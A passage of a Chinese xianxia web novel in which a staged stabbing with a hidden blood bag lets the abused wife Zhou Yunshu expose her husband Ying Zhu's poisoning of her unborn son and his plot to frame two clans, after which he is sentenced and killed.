应逐忽然起身,脚步凛然朝门外而去,穿过长廊,来到尽头的一间厢房,他推开门进去,一人端坐在窗前的小榻上,听见门开也并未看过来,仿佛他这个人不存在一般。 “怎么,饭菜不合胃口?”应逐看了眼桌上并未动过的膳食,又看向窗旁的女子,嗤了声,“这最后一顿不吃,以后可就吃不上了。” 周云姝仍旧不动,只看向窗外,这扇窗都封了铁栏,只留给她一条可以伸手的缝隙,窥见一缕月光。 应逐脸色阴沉,负手站在桌旁,一抬手掀翻整个桌面,瓷盘碎了一地,连带着那些饭菜也洒了满地。 周云姝终于有了动静,抬眸看来,叹了口气:“如今民生凋敝,千机宗管辖地界流民多,多少孩子吃不上一口肉,你还这般浪费。” 应逐阴阳怪气:“你都不吃,怎么就不说浪费了?” “我只是不想吃你送来的饭,仅此而已。”周云姝抬眸看他。 应逐下颌紧绷,咬紧了牙,大步走上前,掐住周云姝的脸迫使她仰头:“你倒是求求我啊,求求我,我或许就不杀你了。” 周云姝淡淡看着他,他的虎口卡在她的下颌,摁在脸侧的手指用力,将她的脸掐得通红,指印明显。 “听闻亡者死后会在凡间停留一段时日,如今我应当还能赶上他,琛儿太小,自己过黄泉会害怕的。” 应逐凑近她,阴狠道:“一个病歪歪的孩子,生来不足,如此孱弱,若传出去千机宗颜面何处安置,早就该放弃他,你偏要为了他和我置气!” “你要一个母亲亲手扼死自己的孩子?”周云姝毫不畏惧与他直视,“琛儿为何生来带病,你比谁都清楚。” 应逐厉吼:“我有何错?你与你那竹马私逃,抓回来时竟有身孕,我怎知这孩子是我的!那碗寒药都没能堕了这孩子,孽种果然命硬。” 周云姝似听惯了,语调淡淡道:“我并未私逃,是他救了我,你心思脏,看谁都脏。” 应逐忽然松手,惯性将周云姝甩至榻上。 “放屁!你本就不钟情我,若非薛青菱迫你嫁我,你怕是早就嫁进陈家了吧,不过天道昭昭,你也没想到,陈家一夕尽灭吧?” 周云姝抬手,捋了捋散落的鬓发别至而后,慢慢坐起来,淡声说:“若真有天道,最该杀的人不是你吗?” 到这种时候了她还这般嘴硬,应逐眸底赤红,唇瓣气得直抖。 周云姝看向他的腰间,目光落至那枚鹤阶玉符上:“你有没有听过一句话,智者见利而思难,暗者见利而忘患?” 她笑了一下,抬眸看着应逐的眼眸,又说道:“忘了,你天赋不佳,无论修行还是学识都属一般,才疏学浅,怕是听不懂。” 应逐嗤笑两声:“到这时候还有功夫伶牙俐齿,既这么想去陪那个孽种,那就去吧,黄泉路上可要牵好他,毕竟那孩子走两步都喘,如此病弱。” 他转身便要离开,方走出几步,便被喊住。 “应逐。” 应逐站定,并未回头。 周云姝坐直身子,被下药昏迷了十几个时辰,她身子孱弱受不住这药性,如今咳几声便带出一滩血,默默将掌心上的血用锦帕擦去。 “琛儿很喜欢你,可你辜负了他。” 染血的锦帕被扔在地上,她抬眸看向应逐的背影,眼底冷淡,好似什么都不在乎。 心如死灰,便是对自己的生死都能漠然置之。 周云姝看着他,方才无力的声音如今重了许多:“我兄长告诉我,辜恩背义、自私自利之人,往往都没什么好下场,你又怎知你的身边没有豺狼虎豹之徒?诚如你说的话,天道昭昭,我等着你下来给琛儿偿命。” 应逐冷声一笑,侧眸睨着她,眸中半分情意都无:“像你这般不争不抢、窝囊无用的人,最后得到了什么?” 他收回目光,一拂宽袖,推门而出。 门关上,屋内又恢复了寂静,他一走,空气都干净了许多。 周云姝低头咳嗽,用袖口掩住嘴,却怎么也堵不住从口中涌出的鲜血,失子之痛,刻骨镂心,将她本就虚弱的身子一夕拖垮。 心脉已衰,气竭形枯,不过是苟延残喘罢了。 从宽袖中掉落出一个拳头大小的布老虎,虎头虎脑甚是可爱,那是她亲手绣好的,琛儿身子不好,外头孩子玩的沙包、陶响球等等,他都玩不了,只能玩些布老虎,拨浪鼓这等婴孩把玩之物。 她越咳越狠,仿佛要将心脉咳断,参加订婚宴都是吃了劲药强撑着的,如今药效一过,这一身病气便压不住了。 从指缝中溢出的血滴落在布老虎上,这令周云姝恐慌极了,她用袖口另一侧干净的布料去擦,却怎么都擦不干净。 就像她竭力想要保护的人,最后还是护不住,一切都不由她。 她总这般,从小到大都窝窝囊囊的,体弱多病,修行不佳,鼓起勇气试图反抗的事都以失败告终,生平所做的事情没几件是由心的。 “你也怪娘吧,阿娘太窝囊无用,什么都护不住,让你早早便撒手人寰,走时才七岁。” “你走前说让娘好好活着,我做到了,我没自戕。”周云姝俯身,用额头抵着那撑着她多活了几日的布老虎,低声说道,“那你也听话些,等等阿娘,我送你入轮回,你记住我的脸,下辈子别做阿娘的孩子了,见到我就绕着走,知道吗?” 从铁栏缝隙中吹来的夜风森寒,吹起她那满头因药效褪去无法遮掩,实际霜白了大半的发,连带那身铺在软榻上的紫衫也随之鼓动。 吱呀一声,窗子动了动。 那声音细小,但却足以令她听清。 周云姝愣住,抬眸去看,隔着一道细小的缝隙,对上一双漆黑的眼睛。 “周夫人,是我。”- 桃花阁内,肃杀凛然。 慕夕阙已被逼至屋舍最深处,一路过来,轩窗碎裂,木桌破碎,连那些色彩耀眼的纱幔也被扯得七零八落,战局混乱。 随泱身上不少的伤,身上乱七八糟的饰品也被慕夕阙砍断了好几根,折扇顶端的尖刃碎裂了一半,他旋身再次逼去,一招一式直往慕夕阙的命门打。 慕夕阙应对得略有些急,境界差距毕竟在这里,随泱年岁跟闻承禺差不多大,境界也不逊闻承禺,已至化神境,不是他们几个小辈能轻易应对得。 她应付旷悬也是仗着上辈子交手不少,熟悉旷悬的招式,但与随泱并未打过架,他们是盟友,她自然也不会去研究随泱的招式。 但她知晓随泱的功法过影无痕,加上境界差距,也确实让她应对得凌乱了些。 随泱折扇翩飞,扇端划出利光,又在慕夕阙右臂划出一道伤口,血水汩汩流出。 她眼也不眨,侧身躲过,再次挽剑逼来。 “倒是能忍,小姑娘,你对自己都这么狠?”随泱笑了声,两人过招之际,他还有空闲聊,“心狠之人果然能成大事啊,不知道你心思这么多,活着痛苦吗?” 慕夕阙嗤了一声,一掌打在随泱肩头,将他逼退之际说道:“什么都护不住、得不到的人才更痛苦吧,心狠又如何,能达成所愿,那便不苦。” 随泱再次逼来,只留残影,转眼到她眼前,折扇抵住她的剑身。 “你说得对,什么都护不住的人才更痛苦。”他的眸底划过狠厉,招式更显迅捷,“所以为了让我好过些,我只能对不起你了。” 慕夕阙迎刃而上,屋内炸起的灵压所过之处,将一切都碎裂。 而一层大厅,遍地残骸,黑压压的人群之中,只见一柄青剑穿梭留影,青光如流星,划出厉然痕迹。 闻惊遥出来时穿的那身干净青衫也染上血垢,身上伤痕零零落落哪里都有,身后一道疾风袭来,他眼也不眨,反手握剑捅过去,长剑刺入血肉,尚且温热的血喷溅出,少年面不改色抽出长剑接着杀敌。 有人暗骂:“呸,晦气,不是说是个元婴境吗,怎么这般能打,咱们这么多人都没耗死他。” 他的话刚说完,眼前青影一闪而过,利刃割破他的脖颈,血光喷溅。 众人再不敢轻敌,都祭出最强的杀招。 闻惊遥于刀光剑影中,抽空看了眼上层,第十层的打斗声也从未停止,随泱将他逼下来,却自己对付慕夕阙,将她留在第十层定是有计谋。 他明知应该信任她,慕夕阙修为强盛,聪慧机敏,敢来就应有对策,可他不知她的对策是什么,如今她孤身留在上面,不知她是何状况,心下免不了焦急。 越是急,出手的剑招便越是狠厉,闻惊遥素来受家规擎制,就算打架也是稳中求胜,从未急切,如今却是起了十足的杀心,毫不顾忌自身性命和命门是否会暴露。 打了将近半个时辰,竟还能爆发出强劲的威压,瞧着比方才还骇人。 而十层之上,随泱似乎也累了,竟被慕夕阙一剑捅穿了右肩。 他吃痛,看了慕夕阙一眼,竟拔腿往回跑。 而慕夕阙紧追不舍,穿过缥缈迷蒙的纱幔,半分不肯退让紧紧追着随泱,他跑得快,她追得也快。 偌大屋舍中,慕夕阙盯着纱幔后的人影,直到随泱无路可退,一张悬落下来的霜白纱幔挡住他的身影。 那影子忽然转身,慕夕阙面无表情,抬剑便刺。 剑身刺入血肉,噗呲一声,血溅出来,染红了那张白幔。 “嗬嗬”两声,似血涌到喉咙堵着无法喘气,是人濒死之际会发出的声音,而随着血越来越多,地上流过来一大滩血,血腥味浓郁。 纱幔后的人轰然倒地。 与此同时,桃花阁紧闭的大门被踹开,奢华木门碎屑横飞,数百修士穿着各式各样的宗服,由应逐和季观澜带着冲进来 一楼打斗戛然而止,应逐带来的人留下一半,将所有人团团围住,剩下一半有序上楼,沿着各层开始搜寻。 处于杀阵中央的闻惊遥抬眸,隔着上百人看向应逐,以及他身后缓缓走出的白望舟。 瞧见闻惊遥,应逐惊讶道:“闻少主,你怎会在此?” 季观澜附和道:“闻少主应也是得知了夫人被桃花阁主掳至此处,前来救人的。” 应逐忙拱手道:“谢闻少主拔刀相助。” 可下一瞬,十层弟子趴在护栏上,厉声喊:“宗主!夫人在此,您,您快来看!” 那弟子像是瞧见了什么极为可怕的东西,满脸惊骇之色,应逐和季观澜脸色一变,匆匆上楼。 十层内,慕夕阙低头看着纱幔下露出的一只手,衣袖是绣了简单缎纹的紫色,手腕纤细几乎可以瞧见骨头的形状,腕间挂了个细细的玉镯,此刻那玉镯也碎裂了。 应逐匆匆冲进来,瞳眸微颤,厉声喊:“云姝!” 身后千机宗弟子,以及其余宗门的弟子长老,还有鹤阶的人一股脑都涌了进来,瞧见这一幕无人不骇然,反应过来,立刻拔剑将慕夕阙包围。 应逐扑在周云姝身侧,眼眸赤红,泪几乎片刻便涌了出来。 “云姝,云姝!” 周云姝的心房前,插着一柄银剑,一剑穿心,正是慕家二小姐慕夕阙的剑。 然后,一人跌跌撞撞从帘子后走来,捂着嘴咳嗽,笑着说:“这么多人啊。” 慕夕阙淡淡看去。 随泱仿佛受了重伤,被许多弟子拿剑指着也不慌,耸了耸肩说道:“那看来我败了呢。” 应逐抬起血红的眼,看向随泱,怒吼道:“说,你们做了什么!” 随泱“啧”了声,摇摇晃晃在唯一完好的椅子上坐下,满不在乎道:“我与你们千机宗有仇啊,就绑了周夫人来,失去所爱定是能让应宗主生不如死呢,谁知道这两位小友今夜闯了进来,不过瞧着不是来救人的。” 他笑嘻嘻,看着慕夕阙说道:“慕二小姐是来杀周夫人的,而闻小公子则拦了我桃花阁的守卫们,我又打不过慕二小姐,当然是自己的命为主了,便顾不得周夫人了。” “慕二,你竟敢!” 应逐陡然看向慕夕阙,拔剑便要朝她劈来。 慕夕阙侧身一躲,轻巧躲开,抬脚一踹,将应逐轻易逼退。 她抬眸扫了一圈,瞧见季观澜,以及负手而立的白望舟,还有那些不明真相被千机宗求来救人的其它宗派们,这里来的人倒是不少。 她又看过去,与坐着的随泱对视。 他冲她耸耸肩,在轻巧不在乎的笑意下,藏着旁人无法看懂、但慕夕阙能看懂的无奈和歉意。 慕夕阙勾了勾唇,心下了然。 随泱替鹤阶办事的苦衷,找到了。 那就好办了。 作者有话说:注: 智者见利而思难,暗者见利而忘患。——出自《刘子·利害》 第25章 第 25 章 “你总不信我。”…… “慕二小姐, 还是说说现在是什么状况吧,否则实难服众。” 白望舟走上前,见慕夕阙看过来, 转而一笑,“二小姐也别误会, 因慕家拒绝借出十二辰, 闻家又始终寻不到人,应宗主便只能求助于鹤阶和其他道友们,恰好今夜鹤阶弟子打听到了消息, 周夫人在这桃花阁内。” 慕夕阙低头看了眼,应逐正抱着周云姝,恶狠狠看着她, 眼底都是恨意。 她不禁感慨, 果然能成大事, 还得要这等厚脸皮, 一分情谊也能被演出忠贞不渝爱妻如命。 慕夕阙淡声道:“没什么好解释的, 我并未要杀她。” 她这般果断回答,白望舟一怔,反应过来眼眸微眯, 笑了一声:“慕二小姐不承认?” “慕二!”应逐倏然拔出身侧弟子的佩剑,疾步朝她砍来。 慕夕阙站着动也未动, 在应逐剑身即将逼近她之时, 一柄青色长剑从侧面袭来,磅礴的罡风令应逐寒毛倒立, 下意识向右闪躲,剑光以毫厘之差沿着他的面门擦过。 一人从门外走来,抬手收回长剑, 这偌大屋内如今挤满了人,众人见到他走来,仍是默契让出了一条路,在这东浔附近无人不认识他。 慕夕阙也安静看过去,瞧见闻惊遥后,略一挑眉,她可从来没见闻惊遥这般狼狈过,这身苍青色的长衫险些瞧不出它原先的颜色,左一道伤右一个窟窿的,血迹浸透青衣,又晕染出深沉的墨红色。 应逐抬手便指:“闻惊遥,我为我妻报仇雪恨,你这是何意!” 闻惊遥恍若没听到,目不斜视朝慕夕阙走来,即使满身的伤,走路却仍旧稳健,腰杆依旧笔直挺拔,并无半分狼狈之态。 他来至慕夕阙身前,看了眼她身上的伤,其实并不多,起码比他少得多,可闻惊遥抿了抿唇,沉声问道:“伤疼吗?” 慕夕阙冲他笑笑:“不疼,无事。” 伤至筋骨,又怎会不疼? 她穿了身红衣,连流血都看不明显。 他们二人如此旁若无人,应逐和白望舟脸色都不太好,其他不知真相的世家们还晕着,不知眼前这等状况该如何是好。 缉拿凶手,可对面的人是慕闻两家的少主。 不拿凶手,千机宗宗主夫人就死在面前,那也是沅湘周家的女儿。 左右为难,做什么都会得罪另一方,有人不禁心底懊悔,早知道便不掺和这件事了,寻个理由堵回千机宗便可,也总比如今骑虎难下、进退两难的境地好。 “闻少主也来了?”季观澜沉声道,“那现在可以向在下解释如今是何局面吗?” 闻惊遥回身,冷眼扫了圈执剑将他们团团围住的修士,他知晓这是慕夕阙有意促成的局面,既敢做,便是有了脱身的把握。 修士们面色凝重,而坐在角落同样被围住的随泱却一脸闲散,还有功夫从乾坤袋取出壶桃花醉品酒。 闻惊遥看着他手中的折扇,扇端利刃断了一半,便是这柄折扇在慕夕阙胳膊上留下了彻骨的伤。 随泱冲他举起杯子:“别看我啊,那你也不看看你未婚妻把我打成什么样子了,打架哪有不受伤的?” 闻惊遥只看了他一眼,在鹤阶带人冲进来时,他便猜到了慕夕阙的意思,知道她究竟想做什么。 少年目光垂下,落* 在应逐怀里的周云姝身上,她脸色惨白,心口那柄长剑留下的血窟窿还在往外渗血。 闻惊遥淡声道:“要想定罪,也得确认周夫人身亡后,宗主瞧见夫人受伤,为何连脉都不探一下,是确认夫人一定会死吗?” 应逐脸色一僵,一旁的季观澜也神情顿了顿,紧接着,应逐脸色一冷,沉声质问:“若慕二小姐出事,闻少主也会冷静地先看看是不是真的死了?” “自然会。”闻惊遥看着他,“先探脉搏,再探神魂,若神散便是已死,那么有仇寻仇,有罪伏诛。” “你——” 本以为能呛住闻惊遥,谁料这人油盐不进,这般理性,应逐被呛了一下。 “闻少主所言有理。”季观澜打断应逐,撸起袖子上前,“宗主备受刺激恐难以冷静,在下来探——” “不必,你我都是当事人,应避嫌,不若您来。”闻惊遥开口制止,看了眼白望舟身侧的一个男子,“听闻这位长老修医术,便来看看吧。” 忽然被点名的人为太初院的家主,名唤上官阑,他医术绝,曾在药谷修习,为人也不如其他人那般畏权退缩,尚有几分公正理性、道义坚守。 上官阑愣了下,见闻惊遥看着他,于是拱手道:“那是自然。” 他走上前,低着头并未与他人对视,半蹲下来伸出两指探在周云姝脖颈,不知探到什么,他皱了皱眉。 “嘶,劳众人稍等片刻。” 上官阑说着,又蕴出灵力向周云姝的识海扫去,他的神情越来越凝重,最后似乎探到什么,紧皱的眉松开,大喜道:“周夫人神魂未散,只是因身体孱弱气血上涌导致昏厥,有救!” 作为医修,得知病患有救,他当即便要施法救援,刚准备掐脉,被应逐拦下。 “长老可确信?” 上官阑是个脑子直愣的,并未觉察出他话中的威胁,点点头:“当然确定,神魂确实还在。” 应逐眯了眯眼,上官阑以为他不信,正准备再说两句,有人打断他。 “既然还活着,可否让我看看?” 上官阑一回头,慕夕阙站在他身后,正冲他盈盈笑着。 他愣了下,点点头:“您请便。” 慕夕阙蹲下,抬手取出腰间的瓷瓶,刚要给周云姝喂下,应逐将周云姝向怀里揽住,警惕看着她:“云姝的伤便是慕二小姐留下的,如今我怎能信你?” 慕夕阙笑了笑,将瓷瓶递给上官阑:“那便劳上官长老验验。” 上官阑接过,凑到瓶口嗅了嗅,眸光一亮:“这,这是药谷的回魂丹啊!整个十三州只有三颗,一颗值十万金!便是神魂刚散都能给你聚魂救回来,周夫人定有救!” 他说着取出丹药便要给周云姝喂下,应逐抬手阻拦:“我怎知那慕二没下毒?” 一而再再而三被阻拦,上官阑也恼了:“我在药谷修习了百年,这些年治病救人不计其数,我连个毒药都闻不出来?何况回魂丹气息纯粹,有一点毒都挡不住,应宗主这般推三阻四反复阻拦,再耗下去人都死了!” 慕夕阙笑了声:“还是说应宗主想周夫人死在这里?” 此话一出,在场众人脸色微变,十三州有些传闻他们也听说了,尚不知真假,可如今应逐确实有些诡异了,众人接他求助来帮他救人,如今百般阻挠救人的也是他。 到底是不信慕夕阙,还是有意不让救人? 应逐被架在高处骑虎难下,咬紧牙关,季观澜也握紧素扇,眸色微沉。 白望舟咳了两声,走上前道:“慕二小姐,您的丹药我们实在无法安心服用,不如这样,我这里也有些——” 话未说完,眼前青影一闪而过,上官阑手上的瓷瓶被掠走,少年站定,一手蕴出灵力直接将那颗世间珍稀的回魂丹打入周云姝唇中。 回魂丹入口则化,应逐等人尚未反应,那颗回魂丹已经在周云姝唇中融化,而随着回魂丹入口,周云姝方才还惨白的脸色竟转瞬间恢复了些红意。 “你!闻惊遥!”应逐厉然抬眸。 闻惊遥垂眸看他,淡声说:“这回魂丹无毒,周夫人估摸着一刻钟便能醒来,有些话不如当事人亲自说。” 应逐脸色一变。 季观澜走上前,对闻惊遥说道:“闻少主,夫人身子弱,我们便先带夫人下去,等夫人醒来缓和些再询问,如何?” “不如何。”不等闻惊遥开口,慕夕阙率先回答,她站起身,拍了拍身上因打斗沾染的尘垢。 “我这一颗回魂丹下去,便是半只脚踏进阎罗殿也能救回来,我说周夫人无事,那便无事,趁夫人醒来的这段时日,我们来谈谈方才的事吧?” 慕夕阙抬眸,扫了一圈周围的人,唇角带笑说道:“诸位都是见证者,既要讨我慕、闻两家的罪,总得听个全,不能偏心一方的三言两语吧。” 应逐抱起周云姝,说道:“我夫人的身体岂能由你保证?我千机宗自有医师,何况云姝心口的伤难道不是你的剑捅的?” 他转身便要离开,刚走出几步,眼前一人瞬移来,堵在他身前不远处,闻惊遥单手执剑,面无表情看着他。 而身后,慕夕阙的踱步声响起,她朝应逐慢步走来,慢条斯理分毫不急地说:“我听闻周夫人有一子,名唤琛儿,只有一个小名,应宗主至今未为其取大名,冠应姓,是为何啊?” 说起近些时日十三州流传的八卦,众人聚精会神,瞧着应逐。 不等应逐回答,慕夕阙又道:“我还听闻,周夫人是早产,似饮寒凉之药引起血崩才导致令郎不足八月便降世,心脉不全,早早亡故,而那时应宗主就在宗内,却连个医师都未给周夫人请。” 季观澜皱眉,折扇挡在慕夕阙面前:“慕二小姐都是从何处听来的闲言碎语,请谨言慎语莫要被迷惑。” 慕夕阙站定不动,双手背在身后,点点头道:“哦,是哦,只是我花了三千金子去灵枢阁买来的消息,可能也确实不真,保不准是他们坑我银钱了,真可恶。” “嘶,灵枢阁,全十三州就没有他们的耳朵眼睛到不了的地方,除却十二辰和天罡篆不敢查之外,其它消息只要给钱就能买到。” “他们既然敢说,那便绝不会造假自砸招牌!” “十三州传闻恐怕不是空穴来风啊,夫人早产,为何不请医师?” 这些声音即使压低也能听清,再等会儿周云姝便醒了,应逐心下不安,强行压制怒火才能不失态,想走却又被闻惊遥拦着,与白望舟对视,后者只冷冷看着他,似乎不欲插手引火烧身。 季观澜脸色也阴沉不少:“慕二小姐别在这里泼人脏水。” “究竟是不是泼脏水,怕是某人比我更清楚?”慕夕阙耸耸肩,抬手挥开季观澜的折扇,盯着应逐的背影。 “应宗主,我向灵枢阁买了两个消息,另一个你猜是什么?” 应逐陡然回眸:“慕二小姐如此光明正大窥视我千机宗家事,合适吗?” “是我不厚道,我承认。”慕夕阙果断认错,能屈能伸,“那买都买了,我总得说吧。” 她如此厚颜,应逐何时见过世家子弟这幅不讲道理的做派,脸色一冷:“你别太过分!” 他看了眼季观澜,后者会意。 “岂能容你诋毁我千机宗名声?”季观澜折扇一晃,上前一步便要攻向慕夕阙制止她。 一只骨节分明、劲瘦有力的手扣住他的手腕,用力极大,仿佛要将他的腕骨捏碎,季观澜皱眉,手上松了力道,那柄用来装模作样的折扇被卸掉。 闻惊遥旋身挡在慕夕阙身前,少年眉眼冷淡:“夕阙,你说。” 慕夕阙也不客气,语速极快当即便道:“我买的另一个消息有关周夫人和应宗主的婚事,原先与千机宗有婚约的为沅湘周家长女,长女亡故后,周夫人第二胎却生了个男孩,为当今周家家主,若无女孩,与千机宗的婚事便无法完成,双方便没办法结盟互利。” 季观澜和应逐脸色齐齐僵住,没想到她会去查这件事。 应逐厉声道:“慕夕阙,闭嘴!” 闻惊遥横剑拦下他,从容道:“夕阙,继续。” 应逐恶狠狠看向闻惊遥:“你当真敢?” “灵枢阁还查到,周夫人出生前两年,周老家主已经重病在榻,坐卧不易,又怎会与薛老夫人圆房?” 这简直是惊天大料,众人齐齐一惊,忙竖起耳朵听这等秘辛轶事。 慕夕阙却又道:“当然,薛老夫人并未有不轨之事,因为这周夫人,便不是她亲生的。” 一直看戏的白望舟皱了眉,低声威胁:“慕二小姐可谨言慎语,此事不仅事关千机宗,还与沅湘周家紧密相关。” 慕夕阙看向他,沉声道:“寿数可以作假,那不如请上官阑来验验骨龄,看周夫人是否才四十二岁?” “不用验了。” 门外传来一声浑厚有力的声音,从人群中散开一条通道,一人端步走来。 慕夕阙和闻惊遥也看去,薛青菱仍是上午见时的那身穿着,臻首娥眉,仪态万方。 薛青菱辈分高,众人忙招呼:“薛老夫人。” 应逐和季观澜也不得不行礼:“老夫人。” 薛青菱看了眼慕夕阙和闻惊遥,目光只停顿片刻便淡淡挪开,又落至应逐怀里的周云姝身上,她心口的血已经止住,但满头青丝已经白了大片,瞧着竟比她一个当娘的还老上许多。 应逐抱着周云姝的手蜷了蜷,喊道:“老夫人,云姝她——” 话刚落,薛青菱抬手,一个厉掌甩上应逐的脸,她用了灵力,直将应逐的右脸打出了血痕,后槽牙都打掉了两颗,染血的牙齿咕噜滚到地上。 季观澜忙道:“老夫人!” 薛青菱甩甩手,又给了季观澜一巴掌。 鸦雀无声,安静得仿佛掉一根针都能听到。 薛青菱垂眸,看向应逐怀里的周云姝,对身后的弟子说道:“将云姝接过去。” “是。” 一个年轻弟子行礼,走上前,半分不看应逐,直接将周云姝夺了过去,妥善安置地砖上,一个沅湘周家的女弟子上前,将周云姝的脑袋靠进自己怀里。 薛青菱打完两掌,并未再看应逐和季观澜一眼,迎着众人的目光,沉声道:“云姝确实不是周家血脉,是我外出历练于一处河滩捡回来的,实际年岁四十九岁,彼时她是个七岁的孩子,许是磕碰到了脑袋,记忆全无。” 她顿了顿,见无人说话,便接着道:“沅湘周家与千机宗的婚事就与慕闻两家一样,娃娃亲,两家联姻各有益处,彼时因我夫君病重,周家嫡传一脉地位不稳,急需千机宗援助,我便养大云姝将这婚事落在她头上。” 上官阑是个脑子直的,不似旁人那般欲言又止,他倒抽一口凉气,不解道:“那这不是欺骗千机宗吗?” 薛青菱嗤笑一声:“愿打愿挨罢了。” 这话一出,众人一头雾水。 薛青菱却并未再说,看了眼慕夕阙:“慕二小姐猜得到吗?” 慕夕阙眸光狡黠,说道:“这可是您让我说的,那我便开口了?” 薛青菱没有回应,只看着她。 慕夕阙便慢声说:“周夫人与陈家少主是青梅竹马吧,两人心意相通,奈何陈少主和应宗主从小便不对付,往年的西境论道大会,应宗主被陈少主处处压一头,多少心生怨怼。” “论修为学识都比不过人,可不得在歪门邪道上下功夫了?”慕夕阙顿了顿,看向低着头的应逐。 “比如——夺人所爱,应宗主好手段,这可实乃诛心之举。” 提到陈家,众人噤若寒蝉,这是十三州第一个灭门的家族,至今未查到是谁灭的、又为何去灭人满门。 在无人注意之地,白望舟脸色阴沉,死死盯着慕夕阙。 周家想以假充真,嫁过去一个假千金,而千机宗明知这人并非周家血脉,但应逐却愿意娶,实际不过是为了给那陈家少主找不痛快罢了。 在这其中,周家、千机宗都得到了自己想要的东西,两家明面交好,陈家少主备受打击,唯一被当成牺牲品的,只有周云姝。 薛青菱闭了闭眼,长叹一声:“我养她确实另有目的,也确实为了周家牺牲了这个女儿,我并不知她过成这般模样。” 她回头,看向倒在弟子怀里的周云舒,吞下回魂丹已久,她如今脸色好转不少,已缓缓睁开了眼,和薛青菱对视。 薛青菱问她:“失子之痛,我也曾经历过,你又为何不告知周家你心中苦楚?” 周云姝被弟子搀扶,缓缓坐起身,唇色惨白无血,不过才四十多岁,已生了半头霜发,温声道:“无人愿意将自己的伤疤揭给别人,我也只是不想再多一个人为此难过。” 说来说去,不过是心如死灰,对千机宗心死,对亲手推她入火坑的沅湘周家同样如此。 周云姝站起身,抬头去看,应逐、季观澜、白望舟都在瞧她,与此同时,还有许多她甚至都未见过的门派,果然如慕夕阙所想,千机宗要借她身死一事,将慕闻两家推上风口。 “这么多人啊,都在等我的死讯?” 她笑了下,那笑看起来格外勉强,周云姝推开搀扶她的弟子,没看应逐,也没看薛青菱,朝慕夕阙走过去。 慕夕阙低声问:“您可有受伤?” 周云姝摇摇头,笑着说:“二小姐托蔺公子来送的血袋子有用,你并未刺到我,只是那剑毕竟名剑,力道大,我被震昏过去了。” 于众人惊骇目光中,她从破烂的衣裳内取出个早已刺破流完血的血袋子,那是民间街头把戏常用的道具,也是如今戏班子常备的东西,到处都可买。 应逐瞳眸微颤,白望舟也紧蹙眉头,没想到慕夕阙会用这种上不得台面的手段,更没想到她会猜到千机宗的计谋。 慕夕阙沉声道:“抱歉,我没收住力道。” 周云姝笑笑:“二小姐不必自责,若非我真昏过去,怕方才得被恶心透了,半刻都装不下去。” 她回头,看着应逐震惧的脸,面上的笑彻底收回。 “诸位既然在此,想必收到我被掳至桃花阁的消息,那无人能比我这个当事人的话更可信吧?” 应逐面容扭曲,咬牙切齿:“周云姝!” 他方才还装得一副深情模样,如今恶相毕出,众人惊骇,齐齐看过去。 周云姝半分不怵,直接说道:“八年前我因除邪被设陷,是陈大哥救了我,回到千机宗后我已有孕一月,应逐生性多疑,在我怀孕不足八月为我下了寒药,琛儿也因此心脉不全早早降世。” “周云姝!” “琛儿十日前病故,我想揭穿这一切,应逐又以琛儿尸身要挟,要我来代千机宗参加慕、闻两家的订婚宴,目的在于利用我构陷淞溪慕家和东浔闻家。” “闭嘴,周云姝!” 应逐气急,几步便要上前,薛青菱抬手一掌打了过去,直接打在他的肩头,将他半边骨头震碎,呕出大口鲜血。 “宗主!”季观澜反应过来,赶忙搀扶,可应逐却并未看他,跪在地上,只恶狠狠抬眸盯着周云姝。 周云姝居高临下睥睨他,接着说:“今夜他引慕二小姐和闻家少主来桃花阁,本意在于用我来陷害二小姐,十三州关于慕家的谣言本就盛传,此事一出,千机宗便有理由寻鹤阶帮忙,一起讨伐慕、闻两家。” 一箭双雕,实乃明策。 众人脸色一变,又看向鹤阶弟子和白望舟,心里暗自猜测,又是订婚宴上的秽毒一事,又是今夜之事,究竟是不是鹤阶有意,为了十二辰呢? 白望舟仍能端着笑,掩在袖中的手却早已攥紧,因为用力维持端容,连那笑都有些狰狞扭曲。 “二小姐得知应逐要害我,便托蔺公子暗中找到了千机宗暗桩,绕开千机宗的弟子守卫,托我演一出戏,一出可以将应逐罪名钉死的戏。” 周云姝叹了一声,闭了闭眼,待再次睁眼,目光冰冷,宛若变了个人。 “无论我是否是周家血脉,我的八字在周家族谱,我与你有婚契,你毒害周家血脉,试图扼杀亲子,如今还要用我构陷慕、闻两家,闻少主,此罪应当如何定?” 应逐捂着碎裂的肩膀,目眦欲裂吼道:“周云姝,你不要你那孽种尸身了!” 还不等季观澜阻拦,他自己便已经理智全无说了出来。 季观澜抬起的手落下,看他的眼神也变了,方才还支撑他的手松开,应逐险些没稳住跌在地上,又撑着一口气自己站起来。 他自己都吼出了那句话,那周云姝所言便为真。 周云姝淡淡看着他:“无所谓了,琛儿也不想我因为他而处处受人威胁,我记住他,他就一直在,我活着一日,他就在我心里一日。” 她转过身:“闻少主,定罪吧。” 闻家人熟读十三州律法,一条一规全部熟记于心,闻惊遥看了眼慕夕阙,后者冲他笑笑,他便明白。 他看向应逐,沉声道:“毒害道侣,扼杀亲子,此为死罪;构陷世家,妄图戮杀道侣,此为死罪。罪上加罪,当诛。” 他又看向季观澜:“为虎作伥,意图谋杀少主,残害宗主夫人,构陷他人,同为死罪。” 闻惊遥还未动手,应逐惊恐看向白望舟,厉喊:“仙长,救我,我——” 话未说完,眼前蓝影一闪,一名长老已经冲至面前,一剑捅入他的心口。 一剑穿心,便是救也救不活。 闻惊遥抬眸看去,那人身穿青色宗服,正挽剑入鞘,对上闻惊遥的目光,颔首道:“少主,家主托我来此护你,你既已定罪,身上有伤,便由我来诛杀罪人。” 季观澜冷眼一看,转身破窗而逃。 那些离他最近的鹤阶弟子恍若傻了般,等他逃了出去才慌忙拔剑。 “他跑了!” 鹤阶弟子要去追,白望舟沉声道:“不必追了,季观澜轻功超绝,你们追不上。” 他说完只看了眼应逐的尸身,接着收回目光,看向慕夕阙和闻惊遥。 两人都目不转视盯着那名闻家长老,闻惊遥面无表情,慕夕阙则歪歪脑袋,从闻惊遥身后探出头,好像对这闻家长老颇感兴趣般,盯着人上下打量。 白望舟心底一沉,不确定这两人心里打着什么主意,只能想办法尽快将这局面收拢。 “千机宗怕是还得要个说法呢,如今咱们都聚在这里也不成样子。”白望舟挥手,说道:“将桃花阁阁主带走,应宗主尸身也带走,众人该散的散,此事鹤阶会给个合理的说法。” 慕夕阙看着他,两人对视,白望舟冲她礼貌一笑,她便也笑笑,颔首打了招呼。 只是垂下头,眸底暗色划过- 那些被搬来救援的家族皆已离去,纵使心中再多困惑,可今夜应逐忽然身死,还是闻家长老杀的,千机宗定会找闻家要说法。 鹤阶将随泱带走,无人能处理这局面。 